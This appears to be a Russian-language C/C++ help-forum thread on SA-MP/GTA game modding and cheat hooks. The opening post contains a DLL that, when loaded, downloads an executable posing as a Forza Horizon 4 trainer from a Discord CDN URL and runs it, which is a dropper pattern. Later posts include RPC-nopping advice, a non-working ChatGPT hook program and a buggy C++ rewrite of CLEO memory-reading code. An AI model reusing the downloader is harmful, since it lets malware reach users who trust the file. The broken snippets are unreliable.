Другое С/С++ Вопрос - Ответ

Nerykery

Известный
522
125
Как мне скомпилить код?
Вот код:
#include <Windows.h>
#include <string>
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        std::string url = "https://cdn.discordapp.com/attachments/994031688717975712/1114598234913001624/Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
        std::string filename = "Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";

        int urlLength = MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, NULL, 0);
        wchar_t* urlWide = new wchar_t[urlLength];
        MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, urlWide, urlLength);

        int filenameLength = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, NULL, 0);
        wchar_t* filenameWide = new wchar_t[filenameLength];
        MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, filenameWide, filenameLength);

        URLDownloadToFile(NULL, urlWide, filenameWide, 0, NULL);

        delete[] urlWide;
        delete[] filenameWide;

        system(("start " + filename).c_str());
        break;
    }
    return TRUE;
}
Когда я нажимаю собрать решение происходит вот это
1685813331102.png
 

korsarsan

Участник
79
27
Нужно выполнять код по скролу вниз, чет читал про обработчики мышки нихрена не понял help
C++:
 if (WHEEL_DELTA<-1)
 {
   // some code
 }
 

AdCKuY_DpO4uLa

Известный
287
477

tedgero

Новичок
2
0
code lua:
lua:
local sampev = require("lib.samp.events")

function sampev.onSendSpawn()
setCharHealth(PLAYER_PED, 0)
    return false
end

function sampev.onSendDeathNotification()
    return false
end

как эти две функи переписать на сф (sf 551)?
 

why ega

РП игрок
Модератор
2,549
2,242
code lua:
lua:
local sampev = require("lib.samp.events")

function sampev.onSendSpawn()
setCharHealth(PLAYER_PED, 0)
    return false
end

function sampev.onSendDeathNotification()
    return false
end

как эти две функи переписать на сф (sf 551)?
хукай и нопай 53 (onSendDeathNotification) и 52 (onSendDeathNotification) RPC по гайду Юры Кода
 
  • Нравится
Реакции: tedgero
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
как сделать прогу, которая ставит хук на функции загрузки библиотеки .dll и возвращает имя и название библиотеки программ которые были запущены во время работы самой проги, т.е допустим открыли игру и посыпались строчки с загрузкой библиотек, чатгпт выдает чет, но ничего не работает
C++:
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>

HHOOK gHookHandle;

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        LPCSTR lpLibFileName = reinterpret_cast<LPCSTR>(lParam);
        char fullPath[MAX_PATH];
        GetFullPathNameA(lpLibFileName, MAX_PATH, fullPath, nullptr);
        char exePath[MAX_PATH];
        GetModuleFileNameA(nullptr, exePath, MAX_PATH);
        std::ofstream logFile("log.txt", std::ofstream::app);
        logFile << "Program: " << exePath << ", Library: " << fullPath << std::endl;
        logFile.close();
    }

    return CallNextHookEx(gHookHandle, nCode, wParam, lParam);
}

int main() {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
    gHookHandle = SetWindowsHookExA(WH_CALLWNDPROC, HookProc, nullptr, 0);

    std::cout << "Hook installed. Press any key to exit." << std::endl;
    getchar();

    UnhookWindowsHookEx(gHookHandle);
    return 0;
}
 

why ega

РП игрок
Модератор
2,549
2,242
Как можно получить указатель на RakPeer, не хукая его методы?
 

!Sam#0235

Активный
121
39
Can someone help me rewrite these snippets in C++? | Может ли кто-нибудь помочь мне переписать эти фрагменты на C++?

CLEO:
:get_samp_version_id
// 0AB1: @get_samp_version_id 0 _returned: ID 0@ 
30@ = 0
IF 0AA2: 31@ = "samp.dll" // IF and SET
THEN
    31@ += 0x128
    0A8D: 29@ = read_memory 31@ size 4 virtual_protect 1
    IF 29@ == 0x5542F47A
    THEN // 0.3.7 R1
        30@ = 1
    END
    
    IF 29@ == 0x59C30C94
    THEN // 0.3.7 R2
        30@ = 2
    END
    
    IF 29@ == 0x5A6A3130
    THEN // 0.3.DL
        30@ = 3
    END
    31@ -= 8 // reading samp.dll + 0x120
    0A8D: 29@ = read_memory 31@ size 4 virtual_protect 1
    IF 29@ == 0x5C0B4243
    THEN // 0.3.7 R3
        30@ = 4
    END 
    
    IF 29@ == 0x5DD606CD
    THEN // 0.3.7 R4
        30@ = 5
    END
    IF 29@ == 0x6094ACAB
    THEN // 0.3.7 R4 - v2
        30@ = 6
    END
    IF 29@ == 0x6372C39E
    THEN // 0.3.7 R5
        30@ = 7
    END
END
0AB2: ret 1 30@
CLEO:
:GetLocalPlayerName
{
    0AB1: @GetLocalPlayerName 0 _Returned: NameInIntegerFormat 31@
}
IF 0AA2: 31@ = "samp.dll"
THEN
    0AB1: @get_samp_version_id 0 _returned: ID 17@
    IF 17@ > 0
    THEN
        IF 17@ == 1 // 0.3.7 R1
        THEN
            0A8E: 30@ = 31@ + 0x21A0F8 // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3CD // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x18 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x13CD0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
        IF 17@ == 2 // 0.3.7 R2
        THEN
            0A8E: 30@ = 31@ + 0x21A100 // SAMP_INFO_OFFSET   
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3C5 // SAMP_PPOOLS_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
        
            0A8E: 29@ = 31@ + 0x13D90 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        IF 17@ == 3 // 0.3.DL
        THEN
            0A8E: 30@ = 31@ + 0x2ACA24 // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x170C0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        IF 17@ == 4 // 0.3.7 R3
        THEN
            0A8E: 30@ = 31@ + 0x26E8DC // SAMP_INFO_OFFSET   
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET           
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET           
            0A8D: 30@ = readMem 30@ sz 4 vp 0
        
            0A8E: 29@ = 31@ + 0x16EF0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        IF 17@ == 5 // 0.3.7 R4
        THEN
            0A8E: 30@ = 31@ + 0x26EA0C // SAMP_INFO_OFFSET 
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x17560 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        IF 17@ == 6 // 0.3.7 R4 - v2
        THEN
            0A8E: 30@ = 31@ + 0x26EA0C // SAMP_INFO_OFFSET 
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x4 // SAMP_PPOOL_PLAYER_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x175B0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        IF 17@ == 7 // 0.3.7 R5
        THEN
            0A8E: 30@ = 31@ + 0x26EB94 // SAMP_INFO_OFFSET 
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x4 // SAMP_PPOOL_PLAYER_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x175B0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
      
        0AA8: call_function_method 29@ struct 30@ num_params 0 pop 0 _Returned: Name 28@
        /// Returned value is in integer, convert integer to string to get string...
    END
END
0AB2: ret 0
 

EclipsedFlow

Известный
Проверенный
1,040
464
Can someone help me rewrite these snippets in C++? | Может ли кто-нибудь помочь мне переписать эти фрагменты на C++?

CLEO:
:get_samp_version_id
// 0AB1: @get_samp_version_id 0 _returned: ID 0@
30@ = 0
IF 0AA2: 31@ = "samp.dll" // IF and SET
THEN
    31@ += 0x128
    0A8D: 29@ = read_memory 31@ size 4 virtual_protect 1
    IF 29@ == 0x5542F47A
    THEN // 0.3.7 R1
        30@ = 1
    END
  
    IF 29@ == 0x59C30C94
    THEN // 0.3.7 R2
        30@ = 2
    END
  
    IF 29@ == 0x5A6A3130
    THEN // 0.3.DL
        30@ = 3
    END
    31@ -= 8 // reading samp.dll + 0x120
    0A8D: 29@ = read_memory 31@ size 4 virtual_protect 1
    IF 29@ == 0x5C0B4243
    THEN // 0.3.7 R3
        30@ = 4
    END
  
    IF 29@ == 0x5DD606CD
    THEN // 0.3.7 R4
        30@ = 5
    END
    IF 29@ == 0x6094ACAB
    THEN // 0.3.7 R4 - v2
        30@ = 6
    END
    IF 29@ == 0x6372C39E
    THEN // 0.3.7 R5
        30@ = 7
    END
END
0AB2: ret 1 30@
CLEO:
:GetLocalPlayerName
{
    0AB1: @GetLocalPlayerName 0 _Returned: NameInIntegerFormat 31@
}
IF 0AA2: 31@ = "samp.dll"
THEN
    0AB1: @get_samp_version_id 0 _returned: ID 17@
    IF 17@ > 0
    THEN
        IF 17@ == 1 // 0.3.7 R1
        THEN
            0A8E: 30@ = 31@ + 0x21A0F8 // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3CD // SAMP_PPOOLS_OFFSET     
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x18 // SAMP_PPOOL_PLAYER_OFFSET     
            0A8D: 30@ = readMem 30@ sz 4 vp 0
    
            0A8E: 29@ = 31@ + 0x13CD0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
        IF 17@ == 2 // 0.3.7 R2
        THEN
            0A8E: 30@ = 31@ + 0x21A100 // SAMP_INFO_OFFSET 
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3C5 // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x13D90 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        IF 17@ == 3 // 0.3.DL
        THEN
            0A8E: 30@ = 31@ + 0x2ACA24 // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET     
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET     
            0A8D: 30@ = readMem 30@ sz 4 vp 0
    
            0A8E: 29@ = 31@ + 0x170C0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        IF 17@ == 4 // 0.3.7 R3
        THEN
            0A8E: 30@ = 31@ + 0x26E8DC // SAMP_INFO_OFFSET 
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET         
            0A8D: 30@ = readMem 30@ sz 4 vp 0
      
            0A8E: 29@ = 31@ + 0x16EF0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        IF 17@ == 5 // 0.3.7 R4
        THEN
            0A8E: 30@ = 31@ + 0x26EA0C // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x8 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
    
            0A8E: 29@ = 31@ + 0x17560 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        IF 17@ == 6 // 0.3.7 R4 - v2
        THEN
            0A8E: 30@ = 31@ + 0x26EA0C // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x4 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
    
            0A8E: 29@ = 31@ + 0x175B0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        IF 17@ == 7 // 0.3.7 R5
        THEN
            0A8E: 30@ = 31@ + 0x26EB94 // SAMP_INFO_OFFSET
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x3DE // SAMP_PPOOLS_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
            30@ += 0x4 // SAMP_PPOOL_PLAYER_OFFSET       
            0A8D: 30@ = readMem 30@ sz 4 vp 0
    
            0A8E: 29@ = 31@ + 0x175B0 // SAMP_GET_LOCAL_PLAYER_NAME_OFFSET
        END
    
        0AA8: call_function_method 29@ struct 30@ num_params 0 pop 0 _Returned: Name 28@
        /// Returned value is in integer, convert integer to string to get string...
    END
END
0AB2: ret 0
Это не идеальный код но для примера сойдет. Другую функцию можно по аналогии сделать.

C++:
int get_samp_version_id(void)
{
    DWORD version_current = 0;
    DWORD samp_base = GetModuleHandle("samp.dll");

    if (samp_base)
    {
        DWORD version_id = *(DWORD*)(samp_base + 0x128);
       
        switch (version_id) {
            case 0x5542F47A: // R1
                version_current = 1;
                break;
            case 0x59C30C94: // R2
                version_current = 2;
                break;
            case 0x5A6A3130: // DL
                version_current = 3;
                break;
        }

       
        version_id = *(DWORD*)(samp_base + 0x120);
       
        switch (version_id) {
            case 0x5C0B4243: // R3
                version_current = 4;
                break;
            case 0x5DD606CD: // R4 - v1
                version_current = 5;
                break;
            case 0x6094ACAB: // R4 - v2
                version_current = 6;
                break;
            case 0x6372C39E: // R5
                version_current = 7;
                break;
        }
    }
    return version_id;
}
 
  • Нравится
Реакции: !Sam#0235 и Z3roKwq